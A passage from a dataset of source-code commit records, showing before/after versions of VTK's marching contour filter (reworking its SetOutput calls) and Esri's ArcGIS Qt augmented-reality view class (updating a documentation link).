\"Structured Points\");\n        this->StructuredPointsContour(dim, input, output);\n        return 1;\n        }\n      }\n    }\n  \n  if ( (input->GetDataObjectType() == VTK_IMAGE_DATA)) \n    {\n    if (inScalars->GetDataType() != VTK_BIT)\n      {\n      int dim = input->GetCell(0)->GetCellDimension();\n      \n      if ( input->GetCell(0)->GetCellDimension() >= 2 ) \n        {\n        vtkDebugMacro(<< \"Image\");\n        this->ImageContour(dim, input, output);\n        return 1;\n        }\n      }\n    }\n  \n  vtkDebugMacro(<< \"Unoptimized\");\n  this->DataSetContour(input, output);\n\n  return 1;\n}\n\nvoid vtkMarchingContourFilter::StructuredPointsContour(int dim,\n                                                       vtkDataSet *input,\n                                                       vtkPolyData *thisOutput)\n{\n  vtkPolyData *output;\n  int numContours=this->ContourValues->GetNumberOfContours();\n  double *values=this->ContourValues->GetValues();\n\n  if ( dim == 2 ) \/\/marching squares\n    {\n    vtkMarchingSquares *msquares;\n    int i;\n    \n    msquares = vtkMarchingSquares::New();\n    msquares->SetInput((vtkImageData *)input);\n    msquares->SetDebug(this->Debug);\n    msquares->SetNumberOfContours(numContours);\n    for (i=0; i < numContours; i++)\n      {\n      msquares->SetValue(i,values[i]);\n      }\n         \n    msquares->Update();\n    output = msquares->GetOutput();\n    output->Register(this);\n    msquares->Delete();\n    }\n\n  else \/\/marching cubes\n    {\n    vtkMarchingCubes *mcubes;\n    int i;\n    \n    mcubes = vtkMarchingCubes::New();\n    mcubes->SetInput((vtkImageData *)input);\n    mcubes->SetComputeNormals (this->ComputeNormals);\n    mcubes->SetComputeGradients (this->ComputeGradients);\n    mcubes->SetComputeScalars (this->ComputeScalars);\n    mcubes->SetDebug(this->Debug);\n    mcubes->SetNumberOfContours(numContours);\n    for (i=0; i < numContours; i++)\n      {\n      mcubes->SetValue(i,values[i]);\n      }\n\n    mcubes->Update();\n    output = mcubes->GetOutput();\n    output->Register(this);\n    mcubes->Delete();\n    }\n  \n  thisOutput->CopyStructure(output);\n  thisOutput->GetPointData()->ShallowCopy(output->GetPointData());\n  output->UnRegister(this);\n}\n\nvoid vtkMarchingContourFilter::DataSetContour(vtkDataSet *input,\n                                              vtkPolyData *output)\n{\n  int numContours=this->ContourValues->GetNumberOfContours();\n  double *values=this->ContourValues->GetValues();\n\n  vtkContourFilter *contour = vtkContourFilter::New();\n  contour->SetInput((vtkImageData *)input);\n  contour->SetComputeNormals (this->ComputeNormals);\n  contour->SetComputeGradients (this->ComputeGradients);\n  contour->SetComputeScalars (this->ComputeScalars);\n  contour->SetDebug(this->Debug);\n  contour->SetNumberOfContours(numContours);\n  for (int i=0; i < numContours; i++)\n    {\n    contour->SetValue(i,values[i]);\n    }\n\n  contour->Update();\n  output->ShallowCopy(contour->GetOutput());\n  this->SetOutput(output);\n  contour->Delete();\n}\n\nvoid vtkMarchingContourFilter::ImageContour(int dim, vtkDataSet *input,\n                                            vtkPolyData *output)\n{\n  int numContours=this->ContourValues->GetNumberOfContours();\n  double *values=this->ContourValues->GetValues();\n\n  if ( dim == 2 ) \/\/marching squares\n    {\n    vtkMarchingSquares *msquares;\n    int i;\n    \n    msquares = vtkMarchingSquares::New();\n    msquares->SetInput((vtkImageData *)input);\n    msquares->SetOutput(output);\n    msquares->SetDebug(this->Debug);\n    msquares->SetNumberOfContours(numContours);\n    for (i=0; i < numContours; i++)\n      {\n      msquares->SetValue(i,values[i]);\n      }\n         \n    msquares->Update();\n    this->SetOutput(output);\n    msquares->Delete();\n    }\n\n  else \/\/image marching cubes\n    {\n    vtkImageMarchingCubes *mcubes;\n    int i;\n    \n    mcubes = vtkImageMarchingCubes::New();\n    mcubes->SetInput((vtkImageData *)input);\n    mcubes->SetOutput(output);\n    mcubes->SetComputeNormals (this->ComputeNormals);\n    mcubes->SetComputeGradients (this->ComputeGradients);\n    mcubes->SetComputeScalars (this->ComputeScalars);\n    mcubes->SetDebug(this->Debug);\n    mcubes->SetNumberOfContours(numContours);\n    for (i=0; i < numContours; i++)\n      {\n      mcubes->SetValue(i,values[i]);\n      }\n\n    mcubes->Update();\n    this->SetOutput(output);\n    mcubes->Delete();\n    }\n}\n\n\/\/ Specify a spatial locator for merging points. By default, \n\/\/ an instance of vtkMergePoints is used.\nvoid vtkMarchingContourFilter::SetLocator(vtkPointLocator *locator)\n{\n  if ( this->Locator == locator ) \n    {\n    return;\n    }\n  if ( this->Locator )\n    {\n    this->Locator->UnRegister(this);\n    this->Locator = NULL;\n    }\n  if ( locator )\n    {\n    locator->Register(this);\n    }\n  this->Locator = locator;\n  this->Modified();\n}\n\nvoid vtkMarchingContourFilter::CreateDefaultLocator()\n{\n  if ( this->Locator == NULL )\n    {\n    this->Locator = vtkMergePoints::New();\n    }\n}\n\nvoid vtkMarchingContourFilter::PrintSelf(ostream& os, vtkIndent indent)\n{\n  this->Superclass::PrintSelf(os,indent);\n\n  os << indent << \"Compute Gradients: \" << (this->ComputeGradients ? \"On\\n\" : \"Off\\n\");\n  os << indent << \"Compute Normals: \" << (this->ComputeNormals ? \"On\\n\" : \"Off\\n\");\n  os << indent << \"Compute Scalars: \" << (this->ComputeScalars ? \"On\\n\" : \"Off\\n\");\n  os << indent << \"Use Scalar Tree: \" << (this->UseScalarTree ? \"On\\n\" : \"Off\\n\");\n\n  this->ContourValues->PrintSelf(os,indent.GetNextIndent());\n\n  if ( this->Locator )\n    {\n    os << indent << \"Locator: \" << this->Locator << \"\\n\";\n    }\n  else\n    {\n    os << indent << \"Locator: (none)\\n\";\n    }\n}\n<commit_msg>ENH: avoid calling SetOutput - get rid of VTK errors<commit_after>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkMarchingContourFilter.cxx\n\n  Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n  All rights reserved.\n  See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n\n     THIS CLASS IS PATENTED UNDER UNITED STATES PATENT NUMBER 4,710,876\n     \"System and Method for the Display of Surface Structures Contained\n     Within the Interior Region of a Solid Body\".\n     Application of this software for commercial purposes requires \n     a license grant from GE. Contact:\n\n         Carl B. Horton\n         Sr. Counsel, Intellectual Property\n         3000 N. Grandview Blvd., W-710\n         Waukesha, WI  53188\n         Phone:  (262) 513-4022\n         E-Mail: Carl.Horton@med.ge.com\n\n     for more information.\n\n=========================================================================*\/\n#include \"vtkMarchingContourFilter.h\"\n\n#include \"vtkCell.h\"\n#include \"vtkContourFilter.h\"\n#include \"vtkContourValues.h\"\n#include \"vtkImageMarchingCubes.h\"\n#include \"vtkInformation.h\"\n#include \"vtkInformationVector.h\"\n#include \"vtkMarchingCubes.h\"\n#include \"vtkMarchingSquares.h\"\n#include \"vtkMergePoints.h\"\n#include \"vtkObjectFactory.h\"\n#include \"vtkPointData.h\"\n#include \"vtkPolyData.h\"\n#include \"vtkScalarTree.h\"\n#include \"vtkStreamingDemandDrivenPipeline.h\"\n#include \"vtkStructuredPoints.h\"\n\n#include <math.h>\n\nvtkCxxRevisionMacro(vtkMarchingContourFilter, \"1.29\");\nvtkStandardNewMacro(vtkMarchingContourFilter);\n\n\/\/ Construct object with initial range (0,1) and single contour value\n\/\/ of 0.0.\nvtkMarchingContourFilter::vtkMarchingContourFilter()\n{\n  this->ContourValues = vtkContourValues::New();\n\n  this->ComputeNormals = 1;\n  this->ComputeGradients = 0;\n  this->ComputeScalars = 1;\n\n  this->Locator = NULL;\n\n  this->UseScalarTree = 0;\n  this->ScalarTree = NULL;\n}\n\nvtkMarchingContourFilter::~vtkMarchingContourFilter()\n{\n  this->ContourValues->Delete();\n  if ( this->Locator )\n    {\n    this->Locator->UnRegister(this);\n    this->Locator = NULL;\n    }\n  if ( this->ScalarTree )\n    {\n    this->ScalarTree->Delete();\n    }\n}\n\n\/\/ Overload standard modified time function. If contour values are modified,\n\/\/ then this object is modified as well.\nunsigned long vtkMarchingContourFilter::GetMTime()\n{\n  unsigned long mTime=this->Superclass::GetMTime();\n  unsigned long time;\n\n  if (this->ContourValues)\n    {\n    time = this->ContourValues->GetMTime();\n    mTime = ( time > mTime ? time : mTime );\n    }\n  if (this->Locator)\n    {\n    time = this->Locator->GetMTime();\n    mTime = ( time > mTime ? time : mTime );\n    }\n\n  return mTime;\n}\n\n\/\/\n\/\/ General contouring filter.  Handles arbitrary input.\n\/\/\nint vtkMarchingContourFilter::RequestData(\n  vtkInformation *vtkNotUsed(request),\n  vtkInformationVector **inputVector,\n  vtkInformationVector *outputVector)\n{\n  \/\/ get the info objects\n  vtkInformation *inInfo = inputVector[0]->GetInformationObject(0);\n  vtkInformation *outInfo = outputVector->GetInformationObject(0);\n\n  \/\/ get the input and ouptut\n  vtkDataSet *input = vtkDataSet::SafeDownCast(\n    inInfo->Get(vtkDataObject::DATA_OBJECT()));\n  vtkPolyData *output = vtkPolyData::SafeDownCast(\n    outInfo->Get(vtkDataObject::DATA_OBJECT()));\n\n  vtkDataArray *inScalars;\n  vtkIdType numCells;\n  \n  vtkDebugMacro(<< \"Executing marching contour filter\");\n\n  numCells = input->GetNumberOfCells();\n  inScalars = input->GetPointData()->GetScalars();\n  if ( ! inScalars || numCells < 1 )\n    {\n    vtkErrorMacro(<<\"No data to contour\");\n    return 1;\n    }\n\n  \/\/ If structured points, use more efficient algorithms\n  if ( (input->GetDataObjectType() == VTK_STRUCTURED_POINTS))\n    {\n    if (inScalars->GetDataType() != VTK_BIT)\n      {\n      int dim = input->GetCell(0)->GetCellDimension();\n      \n      if ( input->GetCell(0)->GetCellDimension() >= 2 ) \n        {\n        vtkDebugMacro(<< \"Structured Points\");\n        this->StructuredPointsContour(dim, input, output);\n        return 1;\n        }\n      }\n    }\n  \n  if ( (input->GetDataObjectType() == VTK_IMAGE_DATA)) \n    {\n    if (inScalars->GetDataType() != VTK_BIT)\n      {\n      int dim = input->GetCell(0)->GetCellDimension();\n      \n      if ( input->GetCell(0)->GetCellDimension() >= 2 ) \n        {\n        vtkDebugMacro(<< \"Image\");\n        this->ImageContour(dim, input, output);\n        return 1;\n        }\n      }\n    }\n  \n  vtkDebugMacro(<< \"Unoptimized\");\n  this->DataSetContour(input, output);\n\n  return 1;\n}\n\nvoid vtkMarchingContourFilter::StructuredPointsContour(int dim,\n                                                       vtkDataSet *input,\n                                                       vtkPolyData *thisOutput)\n{\n  vtkPolyData *output;\n  int numContours=this->ContourValues->GetNumberOfContours();\n  double *values=this->ContourValues->GetValues();\n\n  if ( dim == 2 ) \/\/marching squares\n    {\n    vtkMarchingSquares *msquares;\n    int i;\n    \n    msquares = vtkMarchingSquares::New();\n    msquares->SetInput((vtkImageData *)input);\n    msquares->SetDebug(this->Debug);\n    msquares->SetNumberOfContours(numContours);\n    for (i=0; i < numContours; i++)\n      {\n      msquares->SetValue(i,values[i]);\n      }\n         \n    msquares->Update();\n    output = msquares->GetOutput();\n    output->Register(this);\n    msquares->Delete();\n    }\n\n  else \/\/marching cubes\n    {\n    vtkMarchingCubes *mcubes;\n    int i;\n    \n    mcubes = vtkMarchingCubes::New();\n    mcubes->SetInput((vtkImageData *)input);\n    mcubes->SetComputeNormals (this->ComputeNormals);\n    mcubes->SetComputeGradients (this->ComputeGradients);\n    mcubes->SetComputeScalars (this->ComputeScalars);\n    mcubes->SetDebug(this->Debug);\n    mcubes->SetNumberOfContours(numContours);\n    for (i=0; i < numContours; i++)\n      {\n      mcubes->SetValue(i,values[i]);\n      }\n\n    mcubes->Update();\n    output = mcubes->GetOutput();\n    output->Register(this);\n    mcubes->Delete();\n    }\n  \n  thisOutput->CopyStructure(output);\n  thisOutput->GetPointData()->ShallowCopy(output->GetPointData());\n  output->UnRegister(this);\n}\n\nvoid vtkMarchingContourFilter::DataSetContour(vtkDataSet *input,\n                                              vtkPolyData *output)\n{\n  int numContours=this->ContourValues->GetNumberOfContours();\n  double *values=this->ContourValues->GetValues();\n\n  vtkContourFilter *contour = vtkContourFilter::New();\n  contour->SetInput((vtkImageData *)input);\n  contour->SetComputeNormals (this->ComputeNormals);\n  contour->SetComputeGradients (this->ComputeGradients);\n  contour->SetComputeScalars (this->ComputeScalars);\n  contour->SetDebug(this->Debug);\n  contour->SetNumberOfContours(numContours);\n  for (int i=0; i < numContours; i++)\n    {\n    contour->SetValue(i,values[i]);\n    }\n\n  contour->Update();\n  output->ShallowCopy(contour->GetOutput());\n  this->SetOutput(output);\n  contour->Delete();\n}\n\nvoid vtkMarchingContourFilter::ImageContour(int dim, vtkDataSet *input,\n                                            vtkPolyData *output)\n{\n  int numContours=this->ContourValues->GetNumberOfContours();\n  double *values=this->ContourValues->GetValues();\n  vtkPolyData *contourOutput;\n\n  if ( dim == 2 ) \/\/marching squares\n    {\n    vtkMarchingSquares *msquares;\n    int i;\n    \n    msquares = vtkMarchingSquares::New();\n    msquares->SetInput((vtkImageData *)input);\n    msquares->SetDebug(this->Debug);\n    msquares->SetNumberOfContours(numContours);\n    for (i=0; i < numContours; i++)\n      {\n      msquares->SetValue(i,values[i]);\n      }\n         \n    contourOutput = msquares->GetOutput();\n    msquares->Update();\n    output->ShallowCopy(contourOutput);\n    msquares->Delete();\n    }\n\n  else \/\/image marching cubes\n    {\n    vtkImageMarchingCubes *mcubes;\n    int i;\n    \n    mcubes = vtkImageMarchingCubes::New();\n    mcubes->SetInput((vtkImageData *)input);\n    mcubes->SetComputeNormals (this->ComputeNormals);\n    mcubes->SetComputeGradients (this->ComputeGradients);\n    mcubes->SetComputeScalars (this->ComputeScalars);\n    mcubes->SetDebug(this->Debug);\n    mcubes->SetNumberOfContours(numContours);\n    for (i=0; i < numContours; i++)\n      {\n      mcubes->SetValue(i,values[i]);\n      }\n\n    contourOutput = mcubes->GetOutput();\n    mcubes->Update();\n    output->ShallowCopy(contourOutput);\n    mcubes->Delete();\n    }\n}\n\n\/\/ Specify a spatial locator for merging points. By default, \n\/\/ an instance of vtkMergePoints is used.\nvoid vtkMarchingContourFilter::SetLocator(vtkPointLocator *locator)\n{\n  if ( this->Locator == locator ) \n    {\n    return;\n    }\n  if ( this->Locator )\n    {\n    this->Locator->UnRegister(this);\n    this->Locator = NULL;\n    }\n  if ( locator )\n    {\n    locator->Register(this);\n    }\n  this->Locator = locator;\n  this->Modified();\n}\n\nvoid vtkMarchingContourFilter::CreateDefaultLocator()\n{\n  if ( this->Locator == NULL )\n    {\n    this->Locator = vtkMergePoints::New();\n    }\n}\n\nvoid vtkMarchingContourFilter::PrintSelf(ostream& os, vtkIndent indent)\n{\n  this->Superclass::PrintSelf(os,indent);\n\n  os << indent << \"Compute Gradients: \" << (this->ComputeGradients ? \"On\\n\" : \"Off\\n\");\n  os << indent << \"Compute Normals: \" << (this->ComputeNormals ? \"On\\n\" : \"Off\\n\");\n  os << indent << \"Compute Scalars: \" << (this->ComputeScalars ? \"On\\n\" : \"Off\\n\");\n  os << indent << \"Use Scalar Tree: \" << (this->UseScalarTree ? \"On\\n\" : \"Off\\n\");\n\n  this->ContourValues->PrintSelf(os,indent.GetNextIndent());\n\n  if ( this->Locator )\n    {\n    os << indent << \"Locator: \" << this->Locator << \"\\n\";\n    }\n  else\n    {\n    os << indent << \"Locator: (none)\\n\";\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*******************************************************************************\n *  Copyright 2012-2019 Esri\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n ******************************************************************************\/\n\n#include \"ArcGISArView.h\"\n#include \"TransformationMatrix.h\"\n#include \"TransformationMatrixCameraController.h\"\n#include <QQuickWindow>\n#include <QScreen>\n\nusing namespace Esri::ArcGISRuntime;\nusing namespace Esri::ArcGISRuntime::Toolkit;\nusing namespace Esri::ArcGISRuntime::Toolkit::Internal;\n\n\/*!\n  \\class ArcGISArView\n  \\ingroup ArcGISQtToolkitAR\n  \\inmodule ArcGISQtToolkit\n  \\since Esri::ArcGISRuntime 100.6\n  \\brief A scene view for displaying ARKit\/ARCore features on mobile devices.\n\n  The Augmented Reality (AR) toolkit provides support for ARKit for iOS and\n  ArCore for Android.\n  This toolkit component allows quick and easy integration\n  of AR into your application for a variety of scenarios.\n\n  See \\l {https:\/\/github.com\/Esri\/arcgis-runtime-toolkit-qt\/blob\/ArcGISARView\/Common\/AR\/Ar.md} {additional details about using the ArcGISArView toolkit component}.\n *\/\n\n\/*!\n  \\brief A constructor that accepts an optional \\a parent object.\n *\/\nArcGISArView::ArcGISArView(QQuickItem* parent):\n  ArcGISArViewInterface(parent),\n  m_tmcc(new TransformationMatrixCameraController(this)),\n  m_initialTransformation(TransformationMatrix::createIdentityMatrix(this))\n{\n  connect(m_tmcc, &TransformationMatrixCameraController::originCameraChanged, this, &ArcGISArView::originCameraChanged);\n}\n\n\/*!\n  \\internal\n\n  \\list\n  \\li \\a renderVideoFeed - Set to \\c true to render the camera frames in the background.\n  \\li \\a tryUsingArKit - Set to \\c true to use the AR framework, depending of the platform (ARKit\n  in Android and ARKit in iOS).\n  \\li \\a parent - optional parent object.\n  \\endlist\n *\/\nArcGISArView::ArcGISArView(bool renderVideoFeed, bool tryUsingArKit, QQuickItem* parent):\n  ArcGISArViewInterface(renderVideoFeed, tryUsingArKit, parent),\n  m_tmcc(new TransformationMatrixCameraController(this))\n{\n  connect(m_tmcc, &TransformationMatrixCameraController::originCameraChanged, this, &ArcGISArView::originCameraChanged);\n}\n\n\/*!\n   \\brief The destructor.\n *\/\nArcGISArView::~ArcGISArView()\n{\n}\n\n\/*!\n  \\brief Gets the origin camera.\n *\/\nCamera ArcGISArView::originCamera() const\n{\n  return Camera(m_originCamera);\n}\n\n\/*!\n  \\property ArcGISArView::originCamera\n  \\brief Sets the origin camera of this ArcGISArView.\n *\/\nvoid ArcGISArView::setOriginCamera(const Camera& originCamera)\n{\n  if (m_originCamera == originCamera)\n    return;\n\n  m_originCamera = originCamera;\n  m_tmcc->setOriginCamera(originCamera);\n  \/\/ don't emit originCameraChanged, this signal is emited by the core runtime\n}\n\n\/*!\n  \\property ArcGISArView::sceneView\n  \\brief Gets the SceneView associated with this ArcGISArView.\n *\/\nSceneQuickView* ArcGISArView::sceneView() const\n{\n  return m_sceneView;\n}\n\n\/*!\n  \\brief Sets the scene view to \\a sceneView.\n\n  The space effect of the scene view is set to \\c SpaceEffect::Transparent\n  and the atmosphere effect is set to \\c AtmosphereEffect::None.\n *\/\nvoid ArcGISArView::setSceneView(SceneQuickView* sceneView)\n{\n  if (sceneView == m_sceneView)\n    return;\n\n  m_sceneView = sceneView;\n  m_sceneView->setSpaceEffect(SpaceEffect::Transparent);\n  m_sceneView->setAtmosphereEffect(AtmosphereEffect::None);\n  m_sceneView->setManualRendering(true);\n  m_sceneView->setCameraController(m_tmcc);\n\n  connect(m_sceneView, &SceneQuickView::touched, this, [this](QTouchEvent& event)\n  {\n    setInitialTransformation(event.touchPoints().first().lastScreenPos().toPoint());\n  });\n\n  emit sceneViewChanged();\n}\n\n\/*!\n  \\brief Sets the initial transformation used to offset the \\l originCamera.\n\n  The initial transformation is based on an AR point determined via existing plane hit detection\n  from `screenPoint`. If an AR point cannot be determined, this method will return \\c false.\n\n  \\list\n    \\li \\a screenPoint - The screen point to determine the initialTransformation from.\n  \\endlist\n *\/\nvoid ArcGISArView::setInitialTransformation(const QPoint& screenPoint)\n{\n  \/\/ Use the `hitTestInternal` method to get the matrix of `screenPoint`.\n  const std::array<double, 7> hitResult = hitTestInternal(screenPoint.x(), screenPoint.y());\n  \/\/ quaternionW can never be 0, this indicates an error occurred\n  if (hitResult[3] == 0)\n    return;\n\n  \/\/ Set the `initialTransformation` as the AGSTransformationMatrix.identity - hit test matrix.\n  const auto hitMatrix = std::unique_ptr<TransformationMatrix>(\n        TransformationMatrix::createWithQuaternionAndTranslation(0.0, 0.0, 0.0, 1.0, hitResult[4], hitResult[5], hitResult[6]));\n  Q_CHECK_PTR(hitMatrix.get());\n\n  m_initialTransformation = TransformationMatrix::createIdentityMatrix()->subtractTransformation(hitMatrix.get(), this);\n  Q_CHECK_PTR(m_initialTransformation);\n}\n\n\/*!\n  \\brief Gets the location in the real world space corresponding to the screen\n   point \\a screenPoint.\n *\/\nPoint ArcGISArView::screenToLocation(const QPoint& screenPoint) const\n{\n  if (!m_sceneView)\n    return Point();\n\n  const std::array<double, 7> hitResult = hitTestInternal(screenPoint.x(), screenPoint.y());\n  if (hitResult[0] == 0)\n    return Point();\n\n  auto hitMatrix = std::unique_ptr<TransformationMatrix>(\n        TransformationMatrix::createWithQuaternionAndTranslation(\n          hitResult[0], hitResult[1], hitResult[2], hitResult[3], hitResult[4], hitResult[5], hitResult[6]));\n\n  auto currentViewpointMatrix = std::unique_ptr<TransformationMatrix>(\n        m_sceneView->currentViewpointCamera().transformationMatrix());\n\n  auto finalMatrix = std::unique_ptr<TransformationMatrix>(currentViewpointMatrix->addTransformation(hitMatrix.get()));\n  return Camera(finalMatrix.get()).location();\n}\n\n\/*!\n  \\brief Register the QML-creatable types provided by QR toolkit.\n\n  This static function registers the QML types \\l ArcGISArView and\n  \\c LocationDataSource in the QML engine.\n  This function must be called before using the QML types.\n *\/\nvoid ArcGISArView::qmlRegisterTypes()\n{\n  qmlRegisterType<Esri::ArcGISRuntime::Toolkit::ArcGISArView>(\"Esri.ArcGISArToolkit\", 1, 0, \"ArcGISArView\");\n  qmlRegisterType<Esri::ArcGISRuntime::Toolkit::LocationDataSource>(\"Esri.ArcGISArToolkit\", 1, 0, \"LocationDataSource\");\n}\n\n\/*!\n  \\internal\n *\/\nvoid ArcGISArView::setTransformationMatrixInternal(double quaternionX, double quaternionY, double quaternionZ, double quaternionW,\n                                                   double translationX, double translationY, double translationZ)\n{\n  auto matrix = std::unique_ptr<TransformationMatrix>(TransformationMatrix::createWithQuaternionAndTranslation(\n                                                        quaternionX, quaternionY, quaternionZ, quaternionW,\n                                                        translationX, translationY, translationZ));\n  Q_CHECK_PTR(matrix.get());\n  Q_CHECK_PTR(m_initialTransformation);\n  auto finalMatrix = std::unique_ptr<TransformationMatrix>(m_initialTransformation->addTransformation(matrix.get()));\n\n  Q_CHECK_PTR(m_tmcc);\n  m_tmcc->setTransformationMatrix(finalMatrix.get());\n}\n\n\/*!\n  \\internal\n *\/\nvoid ArcGISArView::setFieldOfViewInternal(double xFocalLength, double yFocalLength,\n                                          double xPrincipal, double yPrincipal,\n                                          double xImageSize, double yImageSize)\n{\n  if (!m_sceneView)\n    return;\n\n  \/\/ get the screen orientation\n  const Qt::ScreenOrientations orientation = window()->screen()->orientation();\n  const DeviceOrientation deviceOrientation = toDeviceOrientation(orientation);\n\n  \/\/ set the field of view\n  m_sceneView->setFieldOfViewFromLensIntrinsics(xFocalLength, yFocalLength, xPrincipal, yPrincipal,\n                                                xImageSize, yImageSize, deviceOrientation);\n}\n\n\/*!\n  \\internal\n *\/\nvoid ArcGISArView::renderFrameInternal()\n{\n  if (!m_sceneView)\n    return;\n\n  m_sceneView->renderFrame();\n}\n\n\/*!\n  \\internal\n *\/\nvoid ArcGISArView::setTranslationFactorInternal(double translationFactor)\n{\n  m_tmcc->setTranslationFactor(translationFactor);\n}\n\n\/*!\n  \\internal\n *\/\nvoid ArcGISArView::setLocationInternal(double latitude, double longitude, double altitude)\n{\n  if (m_tmcc->originCamera().isEmpty())\n  {\n    \/\/ create a new origin camera\n    m_tmcc->setOriginCamera(Camera(latitude, longitude, altitude, 0.0, 90.0, 0.0));\n  }\n  else\n  {\n    \/\/ update the origin camera\n    const Camera oldCamera = m_tmcc->originCamera();\n    m_tmcc->setOriginCamera(Camera(latitude, longitude, altitude, oldCamera.heading(), 90.0, 0.0));\n  }\n\n  m_tmcc->setTransformationMatrix(TransformationMatrix::createIdentityMatrix(this));\n}\n\n\/*!\n  \\internal\n *\/\nvoid ArcGISArView::setHeadingInternal(double heading)\n{\n  if (m_tmcc->originCamera().isEmpty())\n  {\n    \/\/ create a new origin camera\n    m_tmcc->setOriginCamera(Camera(0.0, 0.0, 0.0, heading, 90.0, 0.0));\n  }\n  else\n  {\n    \/\/ update the origin camera\n    const Point oldLocation = m_tmcc->originCamera().location();\n    m_tmcc->setOriginCamera(Camera(oldLocation.y(), oldLocation.x(), oldLocation.z(), heading, 90.0, 0.0));\n  }\n  m_tmcc->setTransformationMatrix(TransformationMatrix::createIdentityMatrix(this));\n}\n\n\/*!\n  \\internal\n\n  Resets the device tracking and related properties.\n *\/\nvoid ArcGISArView::resetTrackingInternal()\n{\n  setOriginCamera(Camera());\n\n  m_initialTransformation = TransformationMatrix::createIdentityMatrix(this);\n\n  m_tmcc->setTransformationMatrix(m_initialTransformation);\n}\n\n\/*!\n  \\internal\n\n  Cast from Qt's screen orientation to ArcGIS Runtime's screen orientation.\n *\/\nDeviceOrientation ArcGISArView::toDeviceOrientation(Qt::ScreenOrientations orientation)\n{\n  switch (orientation)\n  {\n    case Qt::PortraitOrientation:\n      return DeviceOrientation::Portrait;\n    case Qt::LandscapeOrientation:\n      return DeviceOrientation::LandscapeRight;\n    case Qt::InvertedPortraitOrientation:\n      return DeviceOrientation::ReversePortrait;\n    case Qt::InvertedLandscapeOrientation:\n      return DeviceOrientation::LandscapeLeft;\n    default:\n      return DeviceOrientation::Portrait;\n  }\n}\n\n\/\/ signals\n\n\/*!\n  \\fn void ArcGISArView::originCameraChanged();\n  \\brief Signal emitted when the \\l originCamera property changes.\n *\/\n\n\/*!\n  \\fn void ArcGISArView::sceneViewChanged();\n  \\brief Signal emitted when the \\l sceneView property changes.\n *\/\n\n<commit_msg>Update AR.md link to point to master branch<commit_after>\/*******************************************************************************\n *  Copyright 2012-2019 Esri\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n ******************************************************************************\/\n\n#include \"ArcGISArView.h\"\n#include \"TransformationMatrix.h\"\n#include \"TransformationMatrixCameraController.h\"\n#include <QQuickWindow>\n#include <QScreen>\n\nusing namespace Esri::ArcGISRuntime;\nusing namespace Esri::ArcGISRuntime::Toolkit;\nusing namespace Esri::ArcGISRuntime::Toolkit::Internal;\n\n\/*!\n  \\class ArcGISArView\n  \\ingroup ArcGISQtToolkitAR\n  \\inmodule ArcGISQtToolkit\n  \\since Esri::ArcGISRuntime 100.6\n  \\brief A scene view for displaying ARKit\/ARCore features on mobile devices.\n\n  The Augmented Reality (AR) toolkit provides support for ARKit for iOS and\n  ArCore for Android.\n  This toolkit component allows quick and easy integration\n  of AR into your application for a variety of scenarios.\n\n  See \\l {https:\/\/github.com\/Esri\/arcgis-runtime-toolkit-qt\/blob\/master\/Common\/AR\/Ar.md} {additional details about using the ArcGISArView toolkit component}.\n *\/\n\n\/*!\n  \\brief A constructor that accepts an optional \\a parent object.\n *\/\nArcGISArView::ArcGISArView(QQuickItem* parent):\n  ArcGISArViewInterface(parent),\n  m_tmcc(new TransformationMatrixCameraController(this)),\n  m_initialTransformation(TransformationMatrix::createIdentityMatrix(this))\n{\n  connect(m_tmcc, &TransformationMatrixCameraController::originCameraChanged, this, &ArcGISArView::originCameraChanged);\n}\n\n\/*!\n  \\internal\n\n  \\list\n  \\li \\a renderVideoFeed - Set to \\c true to render the camera frames in the background.\n  \\li \\a tryUsingArKit - Set to \\c true to use the AR framework, depending of the platform (ARKit\n  in Android and ARKit in iOS).\n  \\li \\a parent - optional parent object.\n  \\endlist\n *\/\nArcGISArView::ArcGISArView(bool renderVideoFeed, bool tryUsingArKit, QQuickItem* parent):\n  ArcGISArViewInterface(renderVideoFeed, tryUsingArKit, parent),\n  m_tmcc(new TransformationMatrixCameraController(this))\n{\n  connect(m_tmcc, &TransformationMatrixCameraController::originCameraChanged, this, &ArcGISArView::originCameraChanged);\n}\n\n\/*!\n   \\brief The destructor.\n *\/\nArcGISArView::~ArcGISArView()\n{\n}\n\n\/*!\n  \\brief Gets the origin camera.\n *\/\nCamera ArcGISArView::originCamera() const\n{\n  return Camera(m_originCamera);\n}\n\n\/*!\n  \\property ArcGISArView::originCamera\n  \\brief Sets the origin camera of this ArcGISArView.\n *\/\nvoid ArcGISArView::setOriginCamera(const Camera& originCamera)\n{\n  if (m_originCamera == originCamera)\n    return;\n\n  m_originCamera = originCamera;\n  m_tmcc->setOriginCamera(originCamera);\n  \/\/ don't emit originCameraChanged, this signal is emited by the core runtime\n}\n\n\/*!\n  \\property ArcGISArView::sceneView\n  \\brief Gets the SceneView associated with this ArcGISArView.\n *\/\nSceneQuickView* ArcGISArView::sceneView() const\n{\n  return m_sceneView;\n}\n\n\/*!\n  \\brief Sets the scene view to \\a sceneView.\n\n  The space effect of the scene view is set to \\c SpaceEffect::Transparent\n  and the atmosphere effect is set to \\c AtmosphereEffect::None.\n *\/\nvoid ArcGISArView::setSceneView(SceneQuickView* sceneView)\n{\n  if (sceneView == m_sceneView)\n    return;\n\n  m_sceneView = sceneView;\n  m_sceneView->setSpaceEffect(SpaceEffect::Transparent);\n  